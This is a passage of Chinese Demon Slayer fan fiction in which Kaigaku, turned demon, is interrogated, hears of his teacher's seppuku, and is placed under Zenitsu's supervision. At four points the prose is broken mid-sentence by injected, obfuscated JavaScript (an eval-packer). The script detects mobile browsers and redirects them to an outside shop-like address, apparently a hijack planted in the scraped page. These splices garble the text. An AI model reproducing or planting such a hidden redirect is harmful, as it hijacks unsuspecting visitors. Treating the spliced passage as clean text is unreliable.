l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105513|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他只多摸了几把狐狸光滑的皮毛,把脸埋进了它的肚腹。 “为什么,要自愿变成鬼?” 出乎所有人的意料,天音夫人亲自来到了蝶屋,直面化鬼的前鸣柱继子。 “……因为,只有先活下去,才有翻盘的可能。死亡就意味着败北,而我想赢。” 对于她的提问,狯岳这样回答。 “就像我现在这样,虽然变成了鬼,但不必吃人,一定可以更好地帮助鬼杀队……杀鬼。”他顿了顿,“试药也可以。” 天音夫人沉默片刻:“想活下去,并不是一件可耻的事情。” 狯岳:“……啊?” “很惊讶吗,我会说出这样话?” “……嗯。” “但我还要继续——以他人为代价活下去,才是一件可耻的事情。” “……” “你在接受鬼血的时候,想必并不认为,自己会变成现在这样特殊的存在,对吧?” 狯岳张了张口,想要反驳,但什么话都说不出口。 如果光靠意志就能克服吃人的欲望,鬼杀队就不必制定“见鬼必杀”的队律了。 “而且,变成鬼的你,如果被无惨抓住,能经受得了拷问吗?”天音夫人继续。“因为变成了鬼,所以轻易死不了。你能忍受被剥皮,被解剖,把内脏直接拽出来;或者把你从下面到口腔,用木棍串成烤猪一样,在火上烧吗?” 都不必鬼王出动读心的技能,是个人都得崩溃。 让人,不,鬼,生不如死,是很容易就能做到的事情。 “如果你是普通人,想不到这样的后果,情有可原;但你是鬼杀队的队员,鸣柱的继子,当你做出这样的选择,就应当有这样的心理准备。”天音夫人顿了顿,“你还有什么话想说?” 狯岳无话可说。 只是吃人而已,他已经尝过了,血水和泥水的味道都一样糟糕,想必人肉吃起来也像树皮一样。 不是不能接受的事情。 毕竟在街上流浪的时候,他见过的—— 人饿极了的时候,也会吃人。 所以,为了活下去,他也可以吃人。 他就是这样一个卑劣的人——只要踩着别人的脑袋能爬出泥潭,他一定会去踩,他就是这种人。 “现在这样,即便你没有造成严重后果,也没有人敢把后背交给你——你明白吗?” 狯岳当然明白。 不过,在变成鬼之前,也没什么人敢把后背交给他就是了,他和同期的关系并不好。 至于我妻善逸,哈,就算善逸敢于信任他,他还不敢信任那个废物呢! 那家伙,不给他拖后腿就算不错了。 但这种事情,没什么大不了的,他只要一个人……一直一个人,就没关系。 只是对他自己没关系。 对鬼杀队来说,还是有关系。 ——啊啊,赌错了。 他懊恼地想。 ——这样下去,绝对要被判死刑了啊。 早知道,变小的时候就应该选择逃跑,而不是非要和善逸较劲。不,他就不该走那条路,应该换个方向,那样就不会遇到水柱…… “还有一件事情要告诉你。”天音夫人的声音打断他的胡思乱想,“你的老师,前鸣柱,桑岛慈悟郎先生,他在得知你变成鬼的消息后,切腹自杀了。” ……唉? 5. 第五章 “我们也没想到,桑岛先生会做出这样的选择,动作又这么快。他连介错人都没找,就独自一人换好了丧服,把刀捅进了肚子里,血流了一地。这样的切腹,人会死得很慢很慢……” 狯岳本以为自己听错了,但天音夫人对于细节的描述,在他的脑海中勾勒出了一副栩栩如生的画面。 然后他才意识到,他没有听错。 “为什么?” 他喃喃道。 “因为你变成了——” “为什么?!” 狯岳一拳用力锤向地面。 由于没有使用任何呼吸法,地面裂开的同时,他的手骨也随之开裂,但因为是鬼的缘故,除了撒了几滴鬼血之外,没在手上留下任何痕迹。 “只是弟子变成了鬼而已,又不关老师的事,他干嘛要切腹?!队律没有这一条吧?!” “显然,桑岛先生认为,你变成鬼,是他的责任。” “哈?!要负起责任来,应该想办法杀掉我才对吧,为什么要自杀?!就算善逸那废物靠不住,再培育几个弟子,让他们来杀掉我就行了,为什么要去死!” 天音夫人歪了歪头:“你觉得呢?” “我怎么知道!我只和他相处了一年多而已,只是老师和弟子的关系而已,我又不是善逸那个厚脸皮的蠢货,浪费天赋吊儿郎当喜欢偷懒,搞得好像是来当孙子的而不是来学习杀鬼的一样!” 一口气说完这么长一段话,他忍不住大喘气。 没办法,他的雷之呼吸变乱了,乱成一团糟。 “你看,你不是知道的吗?”天音夫人点出来,“因为他把你也当成了孙子。 “因为他不忍心。 “因为他爱你。” 狯岳瞳孔地震,这下,连普通的呼吸都忘记。 “桑岛先生切腹的时候,没留下任何遗言,”天音夫人继续,“最低限度的,让善逸清理门户的话都没有。 “你愿意相信,他是怕善逸死在你手上,还是愿意相信…… “他不想看你们兄弟相残?” 天音夫人就此打住,只静静看着狯岳,看着他表露出前所未有的混乱。 “……开什么玩笑。” “嗯?” “开什么玩笑!”狯岳怒吼出声,“臭老头这么一死了之,只会鼓励善逸来杀了我啊!” 天音夫人眨了眨眼睛。 “他这么做,不就是觉得我丢了他的脸,希望我死在上弦一手里吗!只要我死在那里,雷之呼吸的清名就不会被连累!这样就能证明他没有看错人,哈,我为什么要用我的命成全他的颜面?!想我去死的话,倒是不要叫那个废物动手,亲手来杀了我啊!” 不可能。 老头子明明是不相信他。 不过话又说回来,他也的确不值得信任就是了。 ——啊啊,搞砸了。 他迷茫地想。 ——他多少应该装一下的。 只要装一下,说不定就会被放过,说不定就有翻盘的机会。 但那老头子,怎么就切腹了呢? 有去死的觉悟,怎么就没有对他刀剑相向的觉悟? 一定是因为他老了,他知道自己收拾不了他,所以才一死了之。 愤怒。不甘。还有一丝丝难过。 难以压抑的感情冲进他腹部,在他的胃里搅成一团,全成了恶心。 太恶心了。 “狯岳。”胸口忽然响起狐狸的声音。“你太用力了,抓得我好痛。” 狯岳打了个激灵,受惊一般把它从怀里抛了出去。 狐狸调整姿势平稳落地,回头看了他一眼,走到他身边坐下。 “除此之外,”天音夫人还没放过他,“悲鸣屿行冥这个名字,你还记得吧?” 狐狸本以为狯岳又要应激,但这一次,他的表现非常冷淡,只微微一愣,“啧”了一声。 “什么嘛,我还以为,他大发慈悲,早把我忘了呢。现在终于找到合适的机会,打算制裁我了吗?” “你为什么会这么以为?” “因为那家伙是个乱发善心的老好人,大约会抱着即使犯了大错,只要是小孩子就可以被原谅的想法吧。但是小孩子长大后,就不适合这种标准了。”狯岳顿了顿,“差不多得了,要杀我还是要继续用我,给个痛快。” 天音夫人挑起眉毛:“难道不想好好解释一下吗?” “解释什么,解释我小时候听鬼的话,把香炉打翻,差点害死岩柱的事情吗?”狯岳的声音平静地不可思议。“我是自愿帮那只鬼的忙的。只要能活下去,我能出卖任何人,我就是这样的人渣。满意了?” 他原本不打算这么说的。 他原本打算赌一把岩柱不知道那天晚上发生了什么,胡编乱造一些惹人同情的瞎话。 可既然已经暴露了本性,就没必要再遮掩下去—— 他也演不下去了。 天音夫人又问:“那你为什么要加入鬼杀队?” “因为像普通人那样活着,也是件艰难的事情。不巧,我只在剑术上有点天赋,而废刀令的颁布已经很久很久。”狯岳有些出神,“我又没读过书,算数算不好、字也写不好,不加入鬼杀队杀鬼,就只有当混混打手,比较起来,还是杀鬼的回报更高。怎么,鬼杀队难道没有我这样的人吗?” 天音夫人点了点头:“有的。” “我就知道。” “心灰意冷了吗?” “……哈?” “我还以为,你会给自己找些高尚的理由。” “我又不是什么高尚的人。实话实说不好吗?” “不打算为自己犯下大错,害了老师而悔过吗?” “……我没有错。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105514|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那老头子的错。 如果不是他顽固不化,擅自去死,自己说不定还有一线生机。 但他偏偏切腹了! 那鬼杀队还有什么理由放过他,他又不是柱! 天音夫人摸了摸下巴。 “看来,比起你,这孩子更喜欢桑岛先生,”她拍了拍手,“行冥,只有请你多担待一些了。” 狯岳:…… 狯岳:!!! 只见天音夫人起身离开,换悲鸣屿行冥推开隔门,走了进来,和他相对而坐。 良久,两个人都没有说话。 “你们想要干什么?!”还是狯岳先沉不住气,“要看我悔不当初、痛哭流涕吗?!我才不会后悔!死也不会!” 但悲鸣屿行冥沉默半晌,问:“你快升柱了吧?” “什么?” “你是甲级,还差多少只鬼能升柱?” “……7只。” “不到2年就杀了这么多,花得时间很短。在杀鬼这件事上,你很努力。” “霞柱的时间更短——不是,你不会打算说,我救的人已经多过了害死的人,这种无聊的话吧?!”狯岳挑起眉毛,“生命不是简单的加减法——这才是鬼杀队的理念吧?!” “原来你还知道啊。” “喂,你——” “实际上。” 悲鸣屿行冥打断他的话,狯岳也识趣地安静下来。 “虽然知道,鬼才是一切的罪魁祸首,但我还是没办法原谅你。”悲鸣屿行冥放下了合十的双手。“如果你只是个陌生人,我都不会这么难以原谅……我曾以为我们是一家人,而家人是绝对不会互相出卖的。” 狯岳沉默片刻,冷笑一声。 “一家人?恐怕所有人里面,只有你这么想。”他顿了顿,终于叫出了那四个字:“行冥老师。” 悲鸣屿行冥低下头颅。 “你不应该把我捡回去的。我就是天生坏种,在街上流浪了那么久,早学会了坑蒙拐骗。你的那些小宝贝们比你敏锐得多,他们不喜欢我,是理所当然的事情。” 狯岳淡淡道:“我手脚不干净,偷钱被赶出去,也是应该。但他们选错了时间。如果那天你回来的早一点,我起码能在第二天白天离开,这样就碰不到鬼,也害不了你。很遗憾,那天你回来晚了,我大晚上离开,倒霉碰到了鬼。 “我当时就想,与其被他们害死,”他的声音第一次流露出了恨意,“不如大家一起死! “好笑的是,在我打翻香炉之后,鬼竟然还讲信用,放我走了——可能在鬼看来,我虽然是个人,实际上和鬼也差不了太多吧。” 从那时候开始。 他就回不了头了。 “你明白了吗?对于这件事,我绝对、绝对不会后悔。虽然对你的确感到抱歉,但谁让你也倒霉,遇到了我这样的垃圾呢?” 6. 第六章 再一次,狐狸用尾巴猛地抽上狯岳的脸。 “大家都说,人之将死,其言也善,你为什么还在喷洒毒液啊。” “大约是因为,我本来就有毒,能洒出来的只有毒液?” “我还是比较喜欢最开始遇见的那个拼命想要活下去的你。” “那也得拼命有用才行。没用的话,干嘛浪费力气。” “看不到希望的话,就一点耐性都没有啊,你。” “因为忍耐一点用都没有。活着就必须去争、去抢、去偷,没有忍耐的余地。” “我知道!街边流浪儿的争斗是很恐怖的,因为年纪小不知轻重,特别狠辣。” “是啊。如果我在小时候遇见你,第一反应就是把你捉住吃掉。” “你不会的,我皮毛这么漂亮,你会想把我卖个好价钱。” “然后被大人压价压到不值几个钱。或者,就算没被压价,也会被其他人抢劫。” “……那你还是吃掉我吧。” “做不到。” “哇,因为你舍不得我!” “不,因为想吃掉和抓得到是两码事。” “你就不能哄哄我吗!” “难道你喜欢被骗?” “人都是喜欢被骗的。被礼仪骗、被感情骗、被世道骗。有些人还情愿被鬼骗呢。” “我不喜欢被骗。” “可是,人自己也是会骗自己的。”狐狸把前肢搭在狯岳的胸口,蹭了蹭他的下巴,“你也会自己骗自己。” “……这不是重点。只要能活下去,别人怎样都无所谓。” “是鬼的错。没有鬼的话,你就不必做出坏选择了。” “没有鬼的话,也好不到哪里去。如果那天我遇到的不是鬼而是人贩子,结果恐怕也差不多。” “你有遇到过人贩子吗?” “陌生人都可以是人贩子。顺手把遇到的小孩卖掉换钱这种事,很多人都做得出来。游郭那边一直缺人,但我死也不要——” 说着说着,狯岳忽然打住话头,恶狠狠地瞪向悲鸣屿行冥:“喂,你怎么还在这里!想听的都听完了吧!” 悲鸣屿行冥:“还想听点别的。” “我不想说给你听——我不是为了博取同情才说这么多的!”狯岳大怒,“不要用那种表情看我!不要高高在上地怜悯我!你应该恨我!直到我死!” 但悲鸣屿行冥说:“不值得。” “哈啊?!” “恨是一件很耗费心力的事情。我想来想去,比起恨你,还是恨鬼更有意义。” 所以,是他,狯岳,一个马上要伏诛的罪人,不配悲鸣屿行冥多看一眼?! “而且,抱歉。” 狯岳:…… 狯岳:??? 狯岳:!!! 他被吓得倒仰:这家伙居然向他道歉,受害人向加害人道歉? 有病吧!!! 悲鸣屿行冥重新双手合十,拨动念珠:“我以为……你是因为贪玩,半夜偷跑出寺庙,才遇到了鬼。” “有什么差别?!” “那一天,我回去的时候,孩子们告诉我,你已经睡着了。如果我知道你是被他们赶出去的,我会去找你。” “……有什么差别?” “差别在于……孩子们也知道,不应该把你赶走,不然他们不会故意瞒着我。” “有什么差别!”狯岳暴怒:“好好好,我知道你是纯洁无瑕的好人,不需要再确认一次!你好歹是岩柱,能不能不要这么黏黏糊糊!结果都已经这样了,干脆一点好不好?你去当你的岩柱,我去下我的地狱——” 话音未落,狐狸一口咬住狯岳的脑门。 “胆小鬼!” 狐狸用他的脑门磨牙。 “有下地狱的勇气,却没有承认错误的勇气,非要把一条道走到黑。” “我这不是前途已经漆黑一片了吗?!” “你当你是曹操吗,玩什么宁我负人、毋人负我的把戏!”狐狸气得大骂,“你以为自己像个自负的枭雄?才怪!你就是个自卑的蠢蛋!” “……我不蠢,不是,什么曹操?” “啊,我忘了,你还是个没读过书的蠢蛋,汉字都写不好,更别说研究汉文学了。” “……” “……” “其、其实上桃山后,我练过的,老师说我字写得还不错——啊啊,你就非得在这种场合掰扯这种事情吗?!”狯岳扒拉狐狸,简直崩溃,“放开啊梨花……不要把这么严肃的场面变成闹剧好不好!” 可当他终于把狐狸从脸上扒下来,悲鸣屿行冥已起身离开,转过去的脸上已经挂起了释然的微笑。 这微笑令狯岳的胃里又是一阵紧缩。 真是个好人啊。 可这样的好人,对他这样的坏人来说,是有毒的。 狐狸终于放开他的脑门:“对手的伟大,更能照见自己的卑劣,对吧?” 狯岳张了张口,欲言又止,止言又欲:“你果然想我去死。” “这话怎么说?” “……如果。” “如果?” 狯岳挪了挪位置,塌下肩膀,趴在一旁的桌子上。 方才过于激烈的情绪变化耗尽了他的精力,他的身体不累,但心已经疲惫不堪。 “如果……我的选择是错的,”他的声音微不可闻。“我该怎样做……才能活下去?” “……” “……” “虽然对你不太好意思,”狐狸拖长腔调,“但我就直说了:想做个好人的话,你是活不下去的。” 狯岳:^=_=^。 他就知道! “很多时候,运气是不讲道理的。比如岩柱明明是个好人,却倒霉催的被你们这帮不省心的小孩拖累。” “……” “如果你被赶出去的那天,遇到的不是鬼而是熊,你也已经死了。” “……” “换句话说……你为什么会在岩柱那里偷钱?” “我习性不好。” “却在前鸣柱那里没有偷过。” “没找到合适的机会。” “其实是没有必要吧?” “……” “人只有吃饱了才能讲道德,你在岩柱那里的日子一定过得比较苦。” “……” “你一定会想,如果岩柱少收养几个孩子,或者只收养你就好了。但很可惜,岩柱是个舍己为人的好人,而你不是。” “……” “那天晚上,你其实是被鬼给吓傻了吧?你想用报复心修饰自己的软弱,但我猜你实际没想那么多,大脑单纯一片空白,只剩下求生的本能?” “……闭嘴。” “这次面对上弦一也一样,你脑海里大约全是水,冷静不了,什么都思考不了,所以才不顾后果,只顾当下。” “……闭嘴!” “又或者,反正前鸣柱还有善逸,所以你觉得你变鬼也没有关系——” 狐狸本以为这话能继续刺激狯岳,但狯岳的语气陡然一变:“谁要管善逸死活啊!” “……” “……” “哇哦。” “那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105515|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭哭啼啼的、只会讨好人的、叽叽喳喳的废物……老师一定是因为他派不上用场才会绝望切腹的吧,一定是!” “唔,呃,那孩子,的确挺吵的。” “是吧!随便锻炼一下就嚎得像死了一样,非要老师强迫才肯好好练剑,是个女人就缠着要结婚。这种人!这种人!凭什么摆烂都能获得一切啊!” “那你还不宰了他?” 狯岳噎住了,难以置信地瞪着狐狸,而狐狸则坦然看着他。 “梨花!” “在。” “好狐狸怎么会讲这种话?!” “我还以为你会觉得我说到你心坎上去了呢。” “那废物要死自己去死好了,死在鬼手里也好死在女人床上也好,为什么要我弄脏自己的手?!” “你都变成鬼,有吃人的觉悟了。” “要不是没别的办法,谁会想靠吃人活下去啊!” 一墙之隔。 悲鸣屿行冥向天音夫人躬身行礼。 “有这句话,就够了。” 他直起身,眼中流出悲悯的泪水。 “狯岳……是个迷茫的孩子。鬼其实也毁掉了他的人生,所以他才加入了鬼杀队。自以为毫无牵挂,才轻率地变成了鬼。” 天音夫人想了想:“像没有线的风筝,无人牵引,就会坠落。” “正是如此。” 时间过去无法倒流。 有些选择做了,就没法回头。 所以,狯岳从不追忆过往。 直到不得不面对,才发现那些刻骨铭心的记忆,始终追在他身后。 后悔? 绝不! 他最恨这种没用的情绪,只会把本就不够坚强的人变得更加软弱。 所以,他也从不后悔。 “你能变小吗?” 隐的成员向他展示一个小小的木箱。 “变小,然后钻进去。”隐向他描述,“方便带你去参加柱合会议。” 接受最后的审判。 狯岳在心底补上这句话。 他翻了个白眼,然后缩小自己的身体,爬进了木箱。就在隐打算关门的时候,金光一闪。 “好挤!”狯岳被狐狸踩在脸上,“梨花,你出去!” “别吧,我怕你一个人害怕。” “我才不害怕!” “那就是我一个狐害怕。” “……” 行吧。 也只能这样了。 箱门关上,狯岳调整姿势,抱紧了狐狸,抱紧了自己。 柱合会议吗…… 几天前,他还在妄想,自己会以柱的身份参与议事。 万万没想到,现在、此刻,自己会沦落到以囚徒的身份接受审理。 他老老实实呆在箱子里,等着被公示,被宣判。 “……想必诸位已有所耳闻,”产屋敷耀哉已无法体面出现在众人面前,由天音夫人代为主持柱合会议。“队内像祢豆子这样不吃人的鬼,出现了第二例。” 而狯岳在一片黑暗中,瞪大了眼睛。 啥玩意?! 祢豆子是谁,队内第二例又是怎么回事?! “那个人,正是前鸣柱桑岛慈悟郎的继子,甲级队士,狯岳。” 祢豆子……祢豆子,有点印象,想起来了,那不是善逸那个废物写的信里提到过的求婚对象吗? “同样,如果狯岳袭击了人,前鸣柱桑岛慈悟郎及其另一位继子我妻善逸,再加上岩柱悲鸣屿行冥,三人将为此切腹谢罪。” 狯岳:…… 狯岳:??? 7. 第七章 悲鸣屿这个老好人和善逸这个蠢货就算了—— 前鸣柱,桑岛慈悟郎?! 摆在走廊的木箱先是颤抖,然后猛地摇晃起来,接着,“哗啦”一声。 顾不得装乖,狯岳把箱门给踹了。 “你干什么!”警惕性极强的不死川实弥第一个冲上前,把还是小孩子模样的狯岳按在地上,“陷阱吗?!” 但狯岳没有反抗,只拼命抬起头:“老师他……还没死?!” 闻言,不死川实弥的力道就没那么大了:“怎么说话呢你!”哪有这样问老师安的。 “哎呀,我忘了告诉你吗?”天音夫人弯起眉眼,“因为你有乖乖回到蝶屋,鎹鸦给桑岛先生送了第二次信,及时把正在切腹的他救了下来。” 所以,桑岛慈悟郎还活着。 一直好好活着。 ……也不对,都往自己肚子上捅了一刀,无论如何都不算“好”。 真庆幸,他还活着。 可这也意味着: “……你们耍我?” 原本已经放开他的不死川实弥又开始瞪眼睛:“你这是什么态度!” 他刚想拳砸狯岳脑袋,就见这破小孩的眼泪掉了下来。 只是面无表情地、单纯地流泪,没有哭嚎也没有皱眉,看上去……有点可怜。 天音夫人走上前,把手放上狯岳的脑袋: “不,”她摸了摸他的头发,“我们只是想证明,你还有人性。你的身体是鬼,但你的心是人。” 你还有救。 你还是个人。 一时走错路没关系,你还能回头。 “欢迎回来。” 老师活下来了。 狯岳也可以活下来了。 这一瞬,他有种重获新生的感觉。 明明这种感觉,应该放在变鬼的时候有吧? 但当他向鬼转变,能感受到的,只有痛苦和恐惧,和一路向下的绝望。 狐狸趴在木箱边,看着默默掉眼泪的狯岳,愉快地摇了摇尾巴。 天音夫人扫一眼狐狸,向它微微颔首,狐狸也回了一礼。 “……虽然已经有先例了,”不死川实弥忍不住问,“可这小子是怎么回事,为什么……看起来一点代价都没有付出?” 为了不吃人,祢豆子的智商发生退行;但狯岳就生龙活虎,看上去再正常不过了。 “因为一位奇人异士,及时给他用了一种独一无二的药。”天音夫人解释。“那个人,或许会成为我们的助力。” “……原来如此。” 恢复原本身形的狯岳闻言,正试图以最小动静整理衣冠的动作停下了。 是……苏芳为他做了什么吗? “别杵这儿做多余的事情,”心烦意乱的不死川实弥揪住狯岳的后领,把他往箱子的方向一扔,“进去吧你,你可没资格参加接下来的会议。” 狯岳:…… 你是柱,你说了算。 只能又一次缩小身形,捞过狐狸钻进箱子。 接着,箱门被粗暴地盖上。隐的人从角落冒出来,把他背走,放到空房间里,一边修箱门一边等会议结束。 就这样? 只有这样? 狯岳抱着狐狸,脑袋里一团浆糊。 他可是自愿变鬼的唉! 有三个人做担保,就过了?! 这些柱都没有异议的吗? ——实际上,的确会有异议,如果富冈义勇把这事儿告诉了大家的话。 但这家伙只把细节告诉了主公,灶门炭治郎也不是多嘴的人。除去主公一家和担保人,整个鬼杀队知道内情的只有他俩。 富冈义勇:只要主公同意就行,他没有资格对主公的决定指手画脚。 灶门炭治郎:因为祢豆子,他没有立场指责狯岳,何况狯岳说到“自愿”的时候,闻起来也不太愿意的样子。 至于鬼杀队外? 迟迟没收到无惨反馈新员工入职,以为狯岳没能成功转换成鬼的黑死牟:难得看上的剑士转化失败,可惜。 “放到这里就可以了吗?” “是的,请放到这边。”一个听上去无忧无虑的女声响起。“接下来交给我就行了。” “是!” 隐告退,箱子门被打开,狯岳顶着狐狸冒出头,万万没想到,竞与恋柱、甘露寺蜜璃,大眼瞪小眼。 这种又粉又绿的头发……柱合会议的时候他就注意到了,恋柱的发型和颜色都蛮奇怪的,穿着也有点暴露。 “好可爱啊,狯岳君!”甘露寺蜜璃捧着脸,“你要不要换一身小一点的衣服?” “……不需要,谢谢。” 他赶紧变成大人模样——可爱?这女人脑袋有坑吗,他可是鬼吔! 但毕竟是柱,脑袋有坑也是柱,所以他只在心里吐槽,没有把话说出口。 “哇哦,长大了也很帅!小狐狸也好可爱!” “谢谢,你也很漂亮,”狐狸向她摇尾巴,“我叫梨花!” “说话了!好厉害!” ……为什么会有柱的言行像个没常识的大小姐一样啊?! 这个女人,和虫柱蝴蝶忍,是完全不同的人,身上有种让人难以理解的松弛感…… “那个,狯岳君,因为你变成了鬼,所以需要有人监管。你知道的吧?”甘露寺蜜璃不知道他在想什么,竖起一根手指:“像炭治郎监管祢豆子那样,接下来是我妻队士负责监管你哦。” ——就不能是悲鸣屿来监管他吗?! 狯岳的脸色瞬间变差。 但由于他习惯性皱着眉头,脸色一直不太好,甘露寺蜜璃只觉得他不太高兴。 不过,换了她也高兴不起来,毕竟变成了鬼嘛。 于是她继续道:“我妻队士现在就在我的府邸接受训练,我们一起去见他吧!” 狯岳就又想起来:的确不能是悲鸣屿来监管他,岩柱忙着呢。 是善逸也好,他有事情要问他,比如老师现在身体怎样,比如那个祢豆子是怎么回事。 对,是善逸也好…… 好…… 好个鬼啊好! 一想到接下来要和善逸一起行动,他就有股奔去晒太阳的冲动。 “啊——差点忘了,你的眼睛有点显眼,要不要带个面具呢?” 狯岳:“……” 狯岳:“请给我一面镜子。” 对着镜子努力了一会儿,他的眼睛就变回了人类的模样。 脸上的鬼纹没有被藏起来,因为,“就像剑士的斑纹一样呢,”甘露寺蜜璃指着自己的锁骨,“你看,可以假装自己开了斑纹。” 狯岳瞥了一眼,赶紧把视线移开,强迫自己看着她的鼻子——她也太没防备了吧! “斑纹……是什么?” “如果体温超过三十九度,心率超过200,人依然能活下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105516|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身上就会出现斑纹,然后变得非常非常强。”甘露寺蜜璃掩口,小声嘀咕:“因为你是鬼,所以才告诉你。别告诉其他人哦。” “为什么?” “不是每个人都能开启斑纹的。而且,人一但开启了斑纹,就活不过25岁。我妻队士不是柱,知道这种事情,会有心理压力的吧。” 狯岳:那不正好?! 然后他才意识到一件事:甘露寺蜜璃已经开了斑纹,活不过25岁了。 “甘露寺大人,你……” 可以接受吗? 不会不甘心吗? “居然露出这种表情,是在担心我吗?”甘露寺蜜璃挠了挠脸,“不要担心啦。最开始知道这件事的时候,我是有点惊讶,有种我应该难过的感觉。但是,不知道怎么回事,其实有点难过不起来……你明白我的意思吗?” 狯岳:“???” 狯岳:“我不明白!” 什么叫做“应该难过”,怎么又变成了“难过不起来”? “就是……大概,到真的要死的那天,我才会难过吧,现在这样说说,有点缺乏真实感。我是不是有点太天真了?” 狯岳:不是有点,是非常,谢谢! “可能是因为,我现在很幸福吧,”甘露寺蜜璃“嘿嘿”一笑,“加入鬼杀队以后,有了对我很好的老师,大家也不会对我的饭量大惊小怪。我现在成了柱,帮助了很多的人,还有了喜欢的人……啊,这个也不许到处乱说哦,要保密!” 难以理解! 这样就是幸福了吗,这样就满足了吗? 就算这是幸福,再过几年,这样的幸福生活就要戛然而止了啊! 狯岳看着浑身冒着粉色泡泡的恋柱,只觉得鸡皮疙瘩都要起来了。 而接下来看到的画面,让他更难以理解: 只见我妻善逸身着包裹住躯干腿、露出胳膊的粉白紧身衣,和其他同样打扮的队士一起,叉开双腿,摆出了一个超级恶心的姿势。 上下都有凸点了啊喂! “大哥?!是你吗大哥,你那是什么表情,好扭曲好可怕!咦你怎么走了,别走那么快啊这训练超级痛救我啊啊啊啊啊啊啊——” 我妻善逸发出高亢的尖叫,让狯岳恨不得自插双目的同时,把耳朵也插聋了。 但甘露寺蜜璃按住他的肩膀:“狯岳君,别走啊,你变鬼之前,只通过了宇髓先生和时透君的训练,没来得及到我这里训练柔韧性吧?” 狯岳:他不是为了参加这种训练才回到鬼杀队来的! 尤其还当着善逸那个废物的面! 就算非要参加这种训练,如果不是出去巡逻倒霉遇上了上弦一,他也早就通关,不必和善逸打照面,到蛇柱那里去了! “非常感谢您的好意但我不需要——” “怎么可能不需要呢,即使变成了鬼,也需要锻炼自己啊,不然没法更进一步的。”甘露寺蜜璃在谈到专业的事情上很认真。“只有拥有更好的柔韧性,才能更全面地发挥剑技!” “可是——” “狯岳君,不是柱呢。”她清了清嗓子,摆出一副严肃的表情,学起了蝴蝶忍的语气:“作为甲级队士的你,打算违抗柱的决定吗?真的吗?这是违反队律的哦?” 狯岳:你就是想看笑话吧喂! 接下来发生的事情,他完全不想回忆,问就是和我妻善逸一起通过了甘露寺蜜璃的训练,至于怎么通过的别管。 8. 第八章 但对我妻善逸来说,这就是值得珍藏一辈子的回忆了。 那个恐怖的!强大的!不可一世的!遇上弦一阴沟里翻船变成鬼了的大哥! 居然也抗不过甘露寺蜜璃,被迫去换体操服! “大哥,别害羞嘛,”他守着更衣室的门,喋喋不休,“又不是只有你一个人丢脸。你怎么花了这么长时间,是不是不会穿,要不要我帮忙啊?” “吵死了!”狯岳咬牙切齿的声音从门后传来,“你的胆子大了很多嘛。现在可没老师在边上给你撑腰,你居然敢跟我这么说话!” 桑岛慈悟郎不在的时候,我妻善逸是不太敢和狯岳搭话的。 他知道狯岳讨厌自己,总怕惹他生气,久而久之,在他面前老是摆出一副畏畏缩缩的样子。 “……是啊,这么跟你说话,是梦里才有的事情。”我妻善逸的情绪低落了一瞬,不过也只有一瞬:“可是,在以为大哥你已经死掉的时候,我就后悔了,后悔没跟你多说说话……” “别,我不后悔,别来烦我。” “唉——不要这样嘛——” “别以为我变成鬼了,你就可以在我面前肆无忌惮……” 狯岳本想把我妻善逸骂走,但我妻善逸竟然打断他的话:“不可以吗?” “哟,你在反驳我?你——” “不可以吗?” 第二次了。 这时候,善逸的声音听起来,和以往不太一样。 更加低沉,更加坚定,还有一丝丝…… 压迫感? 错觉吗? “我反正觉得可以。大哥,我现在是你的监护人唉。为了保住你的命,我也赌上了我的命,你不应该谢谢我吗?” “……” “虽然我的命不值钱,但大哥的命很宝贵吧?看在你自己的份上,能不能对我好一点?” 狯岳很想说:不能。 但他的确要承我妻善逸的情。 虽然他自私自利、经不起考验,但基本的是非观还是有的。 即便善逸是为了老师,不得不捏着鼻子给他做担保,他也得认。 因此,被这废物蹬鼻子上脸,也是他应得的报应。 “……有件事情。” “什么?” “我有件事情要问你。”狯岳强行转移话题。“祢豆子是怎么回事?” “就是那么回事呗,和你一样,被变成了鬼。” “她……是什么时候变成鬼的?” “呃,大概有2、3年吧。大哥,你问这个干嘛?” “也就是说,”狯岳的语气再次变得险恶起来,“你认识她的时候,她就是只鬼?!” “啊……嗯。”我妻善逸迟疑了,“怎么了,大哥,你的心声忽然变得好可怕!” “你向她求婚的时候,就知道她是鬼?!” “一开始就听出来了——你怎么知道我跟她求过婚?”我妻善逸终于反应过来,“大哥,你看了我拜托啾太郎寄给你的信?好高兴!你一直没回信,我以为你都没看!” 